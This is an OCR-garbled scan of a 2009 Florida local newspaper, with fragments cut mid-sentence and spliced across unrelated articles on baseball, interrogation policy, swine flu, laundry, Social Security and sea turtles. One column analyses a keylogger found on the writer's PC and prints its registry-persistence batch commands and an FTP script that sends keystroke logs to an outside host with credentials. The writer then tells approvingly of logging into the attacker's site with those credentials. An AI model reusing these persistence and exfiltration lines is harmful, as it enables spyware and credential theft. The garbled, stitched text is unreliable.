In Thursday's game, also'Se-
nior Night, the Bears hosted
the Bell Bulldogs. Before the
game got started,' the Bears
honored their 5 Seniors -
Zach "Fish" DesJardin, Dil-
lon Raker, Eric Dix, Ishmael
Glariton, and David Suro.
The Game got started and
boy was it a great one!!!!

Dixie took to the outfield
first to play behind pitcher
Duane Lord. The Bulldogs
went scoreless in the 1st,
while the Bears were able to
score first and make it a 1-0
game. The Bulldogs added a
run in the 3rd and 4th in-
nings, while the Bears
added 3 in the 5th and tied


The bottom of the 6th in-
ning brought out the excite-
ment of the game, as the
home plate umpire threw
the Bears' 3rd baseman,
Brett Sullivan out of the
game for contact with Bell's
1st baseman, after the 2 had
been warned. (although the
bulldogs' 1st baseman re-
mained in the game).
Adding fuel to the fire for
the Bears, and making them
want the win just that much
more, the 2nd base umpire
warned the Bears' dugout of
I guess taunting the other
team and their pitcher.

Harsh Interrogation Techniques


In what appeared to be an effort to assure Middle Eastern
and Latin American dictators and lily-livered European So-
cialists that we would play by the rules whether or not any-
body else did, President Barack Obama recently completed a
world tour in which he apologized profusely for the alleged
misdeeds of George W Bush, while emphasizing that none of
this was his doing. His true Kodak moment was his accep-
tance of Venezuelan dictator Hugo Chavez' gift,, that being a
copy of "Open Veins of Latin America," a book blaming the
retarded development of that region on the "imperialism" of
the United States and Europe.

Putting that episode in further perspective, Chavez had ear-
'lier called former US President George W. Bush "the devil,'
and only last month called Obama an "ignoramus." We
weren't told whether or not Obama returned the favor by
presenting Chavez with a copy of "The Audacity Of Hope."

But, I digress. The subject, of course'is our alleged torture of
captured enemy combatants and suspected terrorists by the'
CIA at Guantanamo Bay Abu Ghraib and unspecified secret
foreign locations. After accessing CIA documents from the
previous administration, Obama revealed that we had been
doing naughty things like "waterboarding," a technique
used to provoke a fear of drowning without doing any actual
damage, sleep deprivation and withdrawal of TV privileges
during "Dancing With The Stars."

In the first place, I don't care what rulings have been handed
down by which courts, domestic or international, the Gene-
va Convention protects only military captives wearing uni-
forms of nations with which we are officially at war. Since
captured enemy combatants in the current War on Terror
(or Whatever Obama is calling it) do hot meet any of these
conditions, they are entitled to no protection based on the
"Geneva Conivention.

A second point, the United States has fought several coun-
tries that signedthe Geneva accords, but none that have ad-
hered to them since World War, II, and even then none did so
consistently And needless to say, the countries supplying the
enemy combatants in the War on Terror haven't been guided
by that document. For our military to saddle themselves
with the Geneva limitations at this point only puts us at a
tactical disadvantage.

Obama's critics have pointed out that by revealing the strict
limitations the current administration has placed on inter-
rogation techniques, along with promises of.strict enforce-
ment, we have in effect assured the enemy that we will "play
nice," and they do not have to fear harsh treatment if they
are uncooperative when being questioned.

To deal with this, American interrogators might keep a few
photos of .medieval torture instruments' handy and explain
to their subjects that while our nation officially bang tor-
ture, that's just for the media and publ ic consumption,
Whereas we actually do employ methods far more draconian
than waterboarding and sleep deprivation when doing so
"could enable us to obtain needed information.

I suppose it's possible that this technique is already in.
place, but given the priorities of the current administration,
I rather doubt that it is.

THE FLORIDA
DEPARTMENT OF HEALTH IS
READY TO RESPOND TO SWINE
FLU .
-TALLAHASSEE-- While no cas-
es have been identified in Flori-
da at this time, cases of swine
flu have been confirmed in the
U.S., according to the federal
Centers for Disease Control and
Prevention. There axle an unde-
termined number of cases in
Mexico reaching into the hun-
dreds.
"This is a situation where we
. must all be on the alert," said
Dr.'Ana Viamonte. Ros, Florida's
State Surgeon General. "We
have increased our surveillance
and we're telling doctors that
since the flu season is waning,
if they'see patients with sudden
onset high fever and a cough or
sore throat, they should collect
a specimen for testing."
Dr. Viamonte Ros said the Flori-
da Department of Health has a
response plan and has put it ''
into play. "Our state laborato-
ries have the equipment neces-
sary and our personnel are
trained in identifying influenza,
samples. We have increased
Surveillance, alerted doctors
and are working with our local
health departments," she, said.

Florida has prepared for in-
fluenza events:
o All state laboratories have
the facilities to safely identify
influenza samples.
o The state has almost 100
sentinel physicians who report
any unusual influenza like ac-
tivity to DOH and the CDC.
o We have the ability to
monitor the sale of over the
counter drugs, as an early
warning sign for increased in-
fluenza activity.
The State Surgeon General pro-


vided these recommendations:
o As always, people- -ith
respiratory illness should stay
home from.wbrk or school to
avoid spreading infections, in-
cluding influenza, to others in
the community.
o Avoid close contact with
people w ho are coughing or oth-
erwise appear ill.
o Avoid touching your
eyes, nose and mouth.
o Wash hands frequently
to lessen the spread of respLra-
tory illness
o People experiencing
cough, fever and fatigue, possi-
bly along with diarrhea and
vomiting, should contact their
physician.
p If you think you have
influenza, please call your
health care provider and dis-
cuss whether you need to be
' seen in their office or emer-
gency department or stay home.

Swine influenza viruses are not
transmitted by food and a per--
son cannot get swine influenza
from eating pork products. The
infections appear to spread
from person to person. Drugs
called antivirals can reduce the
consequences of contracting
the flu, if taken early.
Dr. Viamonte Ros said Florida
is receiving frequent.updates
from the CDC, and is working-
with local health departments
to monitor, the situation and im-
mediately follow up on any sus-
pected cases. The CDC has cre-
ated a Webpage with informa-
tion at www.cdc.gov/swineflu.
The Florida Department of
Health is ready to respond to
this emerging event," Dr. Via-
monte Ros said. "We have plans
in place for this kind of emer-
gency."

or about twenty percent of you, that head-

they just came out of the package won't get it at all. I'm not
talking to you people, anyway You don't need to be reading
this, you probably need to be hunting a therapist to deal
with your OCD issues. The rest of you will automatically
flash back to the last time you were looking for a clean shirt
for work or school on a Monday morning, and the best-look-,
ing candidate was laying on the floor, maybe covered in cat
hair, and as wrinkled as a Shar Pei puppy What did you do?
You did what slackers throughout time have done: you put it
back in the dryer for a few minutes.

As anybody worth their subscription to Laz-Z-Boy Monthly
can tell you, dry and wrinkle-free equals clean. Maybe
you've even committed the second cardinal sin of clothing
. desperation when maybe the shirt also had a faint whiff, of
eau du stink....oh yes; and you know who you are...you
pulled out the old faithful berry-scented can of Now

Of course there is another school of thought laundl
on this one. Brandi used to date a guy who,
whenever laundry piles were high and wear- problem. M
able clothing was getting low, would just go rid of
buy new clothes. Expensive habit, I'd imagine,
just to avoid doing laundry but it seems to be
an accepted practice amongst the young sin-
gle guy set.

Laundry has been on my mind this morning because it's
.Sunday and my pile of laundry is GIGANTIC today I al-
ways do laundry on Sunday Well, sometimes I throw a load
in on Wednesday, if. I'm running low and I know I have to be
at work on Thursday, but Sunday is "Official Laundry Day"
in Kathyland. I like to have a schedule, I like lists, and I like
to know what's coming next. It's a genetic thing, ugly first
cousin to daddy's towel-sorting-by-color'disease. When my
daughter Casey was little, she'd even plan out what she was
going to eat next. She wouldn't go anywhere without ask-
ing, "Well, what do they have to eat?" (I don't think she's
outgrown that much.) But anyway, I like stability and pre-
dictability, so Monday is work-at-the-Advocate and Cub
Scouts day, Tuesday is Advocate "crazy" day, Wednesday is
catch up on the kids' homeschooling and maybe some house
cleaning day, Thursday is back at the Advocate and knitting
class/library/sometimes county commission meeting day,
Friday is homeschooling, appraising and house cleaning
day, and Saturday is sort of a wild card. It,can be home-
schooling, spinning, appraisal work, or maybe somet h ing
for the paper, like going to the Crab Festival. It's the only
"allowed" unpredictable day. And that leaves Sunday: the


Feeding the Monster,

An appeaser is one who feeds
everyone else around him to the
crocodile, in hopes he'll eat him
last. "'-Winston Churchill
American taxpayers are feeding
a.voracious monster that
'threatens their very.existence.
Much like the unwitting tourist
that feeds a wild animal only to
whet its insatiable appetite,
American taxpayers are fund-
ing a government bureaucracy
that, at its current and project-
ed growth rate, will eventually
consume the private sector. .
Now, with the release of a study
drawing attention to the dispar-
ity in pay and benefits between
the public and private sectors,
the seriousness of the situation
is finally being brought into full
view.
According to USA Today, public
Sector employees make nearly
44 percent more than their pri-
vate sector colleagues, once
benefits are factored into the'
equation. The average state or
federal employee makes $39.25,
of which $13.38 is benefits,
while the average salary of a
private employee is $11.90 less-
$27.35, including $7.98 in bene-
fits.'
This lhuge disparity isdanger-
ous. While the private sector
produces goods and services
that stimulate economic
growth, the public sector
siphons off tax dollars and
drains the investment pool. As
the public sector grows-and no
doubt it will continue to ex-
pand, as the Democrats in the
White House and in Congress
push their Big Government
'plans-production declines and
deficits explode.
Last month, the Bureau of La-'
bor Statistics announced that,
while overall job growth was in
the red, public sector jobs had
grown-and appeared poised to
continue their growth in the fu-
ture. CNS News reports that the
BLS statistics reveal an in-
crease of about 150,000 govern-.
ment jobs in 2008 while the pri-
vate sector lost 3.65 million.

And government doesn't
shrink. The last time the public
sector experienced an employ-
ment decrease was 1982, under
Ronald Reagan. Notwithstand-
ing the fact that the private sec-


tor growth, has not always been
positive, the GDP has risen vir-
tuallyevery single year-boost-
ed by some form of government
spending. And where the GDP
rises, despite a job slump, there
can be only one culprit-Big
Government.
While the strong growth of the
public sector is itself alarming,
the fact that it draws increas-
ingly large benefits from a
shrinking private sector has
given pause to free market econ-
omists everywhere. The simple
fact is that such a.growth model
is unsustainable. Eventually the
shrinking private (producing)
base will be unable to sustain
the pay and benefits that the
public (consuming) overhead
demands. And government can
never tax those it pays at a high
enough rate to assure its own
survival. It's simple math.

With all the negative attention
paid to the bailed-out CEOs, one
would think that the concept of
over-paid, under-worked gov-
ernmfnt employees would also
be anathema to those in Wash-
ington. But it appears that such
outrage is only reserved for pri-
vate individuals who pay their
own way-not to those who
"wring their bread from the
sweat of another's brow."
In short, the American taxpayer'
is left to foot the bill-working
ever longer and harder for
those who receive more for do-
ing less. Sadly, this is analogous,
to what happens when the "Do
not feed" sign is ignored by cu-
rious tourists. In the end, it
may cost the taxpayer and the
tourist an arm and a leg.

In the meantime, however, there
will be little comfort in the fact
that the "public servants" in
Washington are far better off
than their ostensible "masters"
in the private sector. And left to
the mercy of government plan-
ners, the taxpayer will in-
evitably end up like the helpless'
dentist of "Crocodile
Toothache" lore:
"And where he went one could
only guess,
To North or South or East or
West...
He left no forwarding address.
But what's one dentist, more or;
less."

If you have kids, you know what I'm talking about when I

clothes probably sixteen times a day When she's looking for',
something to wear (always pink and suitably princess-y),
she goes through the drawers like a little tiara-wearing tas-

half end up on her head, usually upside down or backwards.
She then parades around in them for oh, six minutes, and

long. And once an item has touched the floor, Her Highness
Princess Boo Bunny will not wear it again until it has been '
washed. There is no way any normal human being can keep,
up with her, laundry-wise.

Luckily, my son is the exact opposite. I have to remind him
to change clothes and take baths, otherwise, he'd be as hap-
py as a skeeter at a nudist colony BBQ to just walk around :
in the same soccer shirt and shorts for a solid week. On the
other hand, when gets dirty, he gets DIRTY No amount of

kids' faces. Moms, oppressed by laundry, on strike!! Can I

mately 12-10 am, the Dixie Count) Sheriff's Office -

Bronson Announces No Cause Of
Death Yet Found For Horses

TALLAHASSEE Florida Agriculture and Consumer '
Services Commissioner Charles Bronson says very pre-
liminary results received this afternoon of necr9psies
done on horses that collapsed and died at a Palm Beach
polo tournament on Sunday have not identified a diag-
nosis., The necropsies found no remarkable signs that
could indicate a specific cause of death.
State officials will continue their investigation and will
be doing additional testing of tissue samples to deter-
mine if they contain any toxins and will also be con-
ducting laboratory tests on blood samples.
"The initial review of the horse carcasses did not show
any visible signs of trauma or disease that would indi-
cate an obvious cause of death," Bronson said. "Our
specialists will continue conducting more detailed test-
ing until we get to the bottom of this tragedy"

State veterinary officials say the 'gross necropsies',
which involve a visual inspection of the organs only
showed damage that was consistent with the clinical
signs the horses were exhibiting before death. This in-
cluded some lesions in the trachea and larynx which ,
can be explained by the respiratory problems the hors-
es were having prior to death.

State officials say all the evidence they have indicates
this is not a contagious disease. They have returned to
the stables in Wellington that housed these animals
and the polo facilities and __
say there are no additional 'PUT'fYO'U'RSET.C -E.
cases of illness or deaths.


Bronson's Office of Agri-
cultural Law Enforcement
is working with Palm
Beach County law en-
forcement to gather facts
about the incident to de-
termine what direction the
investigation should go.

JOPPA LODGE NO. 4 PAYS ITS RESPECTS
TO WIDOWS OF DECEASED BROTHERS

On Tuesday, April 21, 2009, Joppa Lodge No. 4 paid its re-
spects to the widows of deceased Brothers. It is the privi-
lege of Masonry to remind all Brothers and their families
that that relationship does not end when a Brother passes
on. Masons are there for the widows and families of de-
ceased Brothers in times of gladness and in times of need
and to remind them that they are never alone: Each widow
was presented a Certificate of Respect, a pin to symbolize
that they are never alone and that we are there and that we
care, a rose, and an identification card that is recognized
throughout the world.

IN TIMES LIKE THESE,
EVERY DOLLAR COUNTS


By Brad Lindsey,
Social Security.
Area Director for
North Florida

"It was the
best of times;


it was the worst of times."
This is the line Chailes
Dickens used to open his
novel A Tale of Two Cities.
It could just as easily be
used to describe the situa-
tion for people who benefit
from the marvels of modern
medicine, yet find it diffi-
cult to afford the high costs
of those prescription drugs.

This Mother's Day is the,
best of times to help your
mom save an average of,
$3,900 a year on her pre-
scription drug costs. Here's'
how.

If your mother is covered by
Medicare and has limited
income and resources, she
may be eligible for extra
help available through
Social Security to pay
part of her monthly premi-'
ums, annual deductibles
and prescription co-pay-
ments. The extra help is
worth an average of $3,900
per year.

To figure out whether your
mother is eligible, Social Se-
curity needs to know her in-
come and the value of her
savings, investments and
real estate (other -than the
home she lives in). To quali-
fy for the extra help, she
must be receiving Medicare
and also have:

Income limited to $16,245 for
an individual or $21, 855 for
a married couple living to-
gether. Even if her annual
income is higher, she still
may be able to get some help
with monthly premiums, an-


C-ow*


For additional information
and to register for this
event, please call Beth Lam-
bert at First Baptist Church,:
498-5107. The event is free,
however we need a count so
that adequate preparation
can be made.


a'


nual deductibles and pre-
scription co-payments. ,
Some examples where in- -;
come may be higher include<.,.
if she or her husband:


' --Support other family
th members who live with
them;


:"1 -3,
'-S
''1~'


-Have earnings from work;
or ::

-Live in Alaska or Hawaii;
and

Resources limited to $12,510 .
for an individual or $25,010
for a married couple living -'
together. Resources include-'
such things as bank ac-
counts, stocks and bonds.
We do not count her house
or car as resources.

Social Security has.an easy-
to-use online application
that you can help complete
for your mom. You can find
it at
www.socialsecuritygov/pre-
scriptionhelp. To apply by
phone or have an applica-
tion mailed to you, call So-
cial Security at 1-800-772-
1213 (TTY 1-800-325-0778) and
ask for the Application for
Help with Medicare Pre-
scription Drug Plan Costs .,,
(SSA-1020). Or go to the
nearest Social Security of-
fice ,


To learn more about the
Medicare prescription drug
plans and special enroll-
ment periods, visit
www.medicare.gov or call 1-
800-MEDICARE (1-800-633-
4227; TTY 1-877-486-2048).


So this Mother's Day, help '
make this the best of times "
by saving your mom, or any
loved one, an average of
$3,900 a year on prescription
drugs, In times like these,
every dollar counts.

Vivisection

of a

Virus


Last night as I sat at my computer writing what was
Sto be this column, a rather interesting thing occurred.
I looked down at my start bar on my computer, and lo!
'there was a program running which I had not in-
: stallede. Being a curious person, I took the liberty of
exploring the program to find out what it was.

.;, n Immediately upon opening the program's menu, I
Swas presented with a set of commands and options
>: that could only belong to one thing, a keylogger. Now,
a keylogger is a most devious, and dangerous, thing to
have running on one's computer. Especially if one is
Snot aware of it. Upon opening the log file that the pro-
2 griam had been in the process of making, I found a
3 record of every keystroke typed into my PC in the last
., seVeral days. These includes usernames and pass-
S, words to various email accounts, my Paypal account,
and even (gasp!) my bank account. All of these things
Shad been compromised. So, having opened the log in
5 2' ,iotepad, I went to File---->Save As, in the menu bar,
S:: and found that the log file was saved in the directory
of C:\WINDOWS\SYSTEM32\ctfbn. I immediately
S, weiat to this folder. In the folder I found the following,
4.5,'files: .

; .Serial.key, chp.exe, ctfmon.exe, regsvr32.bat,
chlctfbn.bat, setupn.exe, fttp.exe, cmd.ntsys, ,
ctffnon.txt, ctfbn.exe, ctfmon.dll, and fttpstrt.exe

'2 Serial.key appears to be some sort of access or en-
: o c.ryption key, I am, as yet, unable to figure out where it'
c omes into the picture. chp.exe is an interesting file
that is used to Create a Hidden Process. In other
words, whatever program is loaded through it cannot
..be seen by the user. The ctfmon.exe file is actually a
file that windows normally uses to monitor various
t'h-mput devices, such as a writing tablet, i suspect that
75" this version of it was altered, though. Setupn.exe
seems to be the program that installs the keylogger,
'.-fttp.exe transmits data over the internet, ctfbn.exe is
Sthe keylogger itself, fttpstrt.exe is another file transfer
.,program.

_:'-_.-_,'Now, the interesting bits. Those batch files (the ones
'. that end in .bat) are designed to modify the system
registry so that if you detect the program and close it,
or even remove the files, it will just re-install itself.
They lead me to they areas that they modified, here's
how. First, I edited the batch file in notepad. This file
-. read as follows:

: -.reg add HKLM\Software\Microsoft\Windows\Cur-
rentVersion \Run /v Dmap.sys /d %systemroot%\sys-
: *.tem32\ctfbn\ctfmnn.exe /f

: reg add HKLM\Software\Microsoft\Windows\Cur-
rentVersion \Run /v NTLocalHost /d
%systemroot % \system32\ctfbn\chpctfbn.bat /f

setupn.exe

;xit

See that first line? The one that says ":reg add
HKLM\Software\Microsoft\Windows\CurrentVer-
' M sion\Run /v Dmap.sys /d .
; o systemroot% \system32\ctfbn\ctfmon.exe /f"? Well,
: that tells me where the command was hidden. So, I
J opened regedit, and expanded HKEY_LOCAL_MA-






.:

,l ,'- :- .. -.. .,,|




|| '


CHINE, and then expanded Software, and then Mi-
crosoft, you see where I am going here? Next stop,
Windows, and then Current Version, and finally Run.
Now, this area makes various programs run whenever
the computer is restarted. I found the entries for
dmap.sys, ctfmon.exe, and chpctfbn.bat, and deleted
them. Then I went into the directory that the files
were kept in, C:\WINDOWS\SYSTEM32\ctfbn, and
deleted them. The kelogging program was then shut
down, and when I restarted... Ta Da! no more keylog-
ger.

I wasn't even nearly done yet, though. I proceeded to
spend quite a bit of time changing the passwords on
my bank, email, and various other services I use, and
instructed my wife to do the same. Also, being curi-
ous, I'd put the files in the folder into a zip file for lat-
er, analysis. When I got to work, I unzipped them on
the trusty old Mac I user here. What? You say you in-
tentionally put a virus on a computer? Well, not exact-
ly This particular virus only works on Microsoft ma-
chines, so putting it on a Mac, just allows me to look
through it real well. This is where I struck pure gold.
Cms.ntsys contained these lines:

open ftp.k2free.com
resultmanagement
BOQTLAY
append ctfmon.txt Data.txt
disconnect
quit
exit

Well lookie there. that open ftp.k2free.com tells me
where my data was destined to go. Resultmanagement
is the username, and BOOTLAY is the password. Next
the file sends ctfmon.txt and Data.txt to the k2free.com
,host. Ctfmon,txt contained every keystroke I'd entered
into my computer over the last few days, and was des-
tined to go to some schmuck with a free web hosting
account. /

So I tried an experiment, I went to k2free.com, and
tried to log in with the username and pasword gleaned
from the lines of malicious code. I was amazed to find
that the wannabe hacker was in fact dumb enough to
use the' same username and password to administrate
the site, as they sent out in the code. Oh, happy day!
There's nothing quite like having the keys to some-
one's website when they just tried to empty your bank
account. Vengeance is mine, so sayeth the Lord. So, it
would be a sin to exact vengeance on this poor wretch
by doing something like trashing their website. So, I
settled for the next best thing, I left them a nice little
message on their admin page, explaining how
unchristianly they were being by trying to defraud
countless p6or, suffering, hard-working people out of
their money I also found their email address, and sent
a copy of the letter there, as well. I'm hoping to hear
their reply

But for a glitch...

Now, can you tell me what is most frightening about
this whole scenario? Well, it's the fact that, had the
virus run as intended, I would never have known that
my accounts had been compromised. You see, that
chp.exe program failed. It had been keeping the virus
hidden for several days, but, due to my constantly tin-
kering with my hardware, a system error caused the
chp.exe command to fail, but not the keylogger. Thus,
because of a stroke of luck, I was able to prevent my-
self from being defrauded,

This brings me to my next point. No matter how se-
cure you think your system is, it isn't. I have numer-
ous virus scanners, firewalls, encryption programs,
etc, yet this little dervish slipped through. If you use
services that require a password, change your pass-.
word frequently No amount of gizmos will replace
personal .diligence.

It's Lights Out For Sea Turtle

Nesting Season

Sea turtle nesting season has begun on Florida's
beaches, which means beach residents and visitors
need to follow a few precautions to ensure a successful
season.
Lights along the beach should be managed to prevent
disorienting a female that comes ashore at night, ac-
cording to biologists with the Florida Fish and Wildlife
Conservation Commission (FWC). To do this, lights
that are needed for human safety should be shielded so
they are not visible from the beach or turned off when
not needed. The instincts of the ancient sea creature
tell her to proceed toward the brighter horizon over the
ocean. Bright lights on the landward side of the beach
can confuse the nesting sea turtle and the hatchlings
that emerge from the nest. Lights on the beach can lead
them away from the ocean.
"Just one light can kill thousands of turtles over sev-
eral years," said Dr. Robbin Trindell, a biologist with
the FWC. "Many lights burn all hight without con-
tributing to human safety."
Five species of sea turtles nest on Florida beaches,
with the loggerhead showing up in the largest num-
bers. Greenand leatherback sea turtles also nest in the
Sunshine State. Two other species, Kemp's Ridley and
hawksbill sea turtles, nest infrequently in Florida but
inhabit Florida waters. The FWC lists the loggerhead
as a threatened species; the other four are listed as en-
dangered.
Late in the summer, after an incubation of 55 to 70
days, the hatchlings begin breaking out of their shells.
Up to 100 hatchlings wait below the sand surface until.
darkness, when they emerge together and crawl out of
the nest. Instinct tells the 1- to 2-inch hatchling to head
toward the brightest horizon and away from dark sil-"
houettes. In days long gone in Florida, the brightest
horizon shone over the ocean, and the hatchlings
would move away from the shadows on the dunes and
begin the crawl to the sea.

"We can all help sea turtles survive," Trindell said. "If
we just take personal responsibility, we can go a long
way to ensure the sea turtle co-exists with us for many
more years to come." '

CELEBRATE RECOVERY


I'm trading my sorrows, I'm trading my shame, I'm trading
my sickness, I'm trading my pain.

We can lay them down for" the joy of the Lord.


God grant me the serenity to accept the things I cannot
change, the courage to change the things I can and the wis-
dom to know the difference.

The purpose of Celebrate Recovery is to fellowship and cele-
brate God's healing power in our lives through eight recov-
ery principles and the Christ-centered 12 steps. This experi-
,ence allows us to be changed. We open the door by sharing
our experiences, strengths, and hopes with one another. In
addition, we become willing to accept Gods grace in solving
our life problems. By working the steps and applying their
Biblical principles, we begin to grow spiritually We move
toward freedom from our addictive, compulsive, and dys-
functional behaviors. This freedom creates peace, serenity,
joy, and most importantly, a stronger personal relationship
with God and others.

As we progress through the principals we discover our per-
sonal, loving, and forgiving Higher Power-Jesus Christ.

Celebrate Recovery will hold its first session on Thursday,
May 7th at 6:15 PM. We will be meeting at Rock Sink Baptist
Church.. "You're gonna like it here!"

new day, but the glory is that
we are alive to enjoy a rainy.
day.

You can experience the same
glory by seeking out.a rela-
tionship with Jesus. Just in-
vite Him in to your heart, re-
pent and believe.
The word says in Romans
10:9-10 & 13 That if thou
shalt confess with thy mouth
the Lord Jesus, and shalt be-
lieve in thine heart that God
hath raised him from the
dead, thou shalt be saved.
For with the heart man be-
lieveth unto righteousness;
and with the mouth confes-
sion is made unto salvation.
For whosoever shall call
upon the name of the Lord
shall be saved.

Keep looking up Jesus is
coming!

Your Brother in Christ
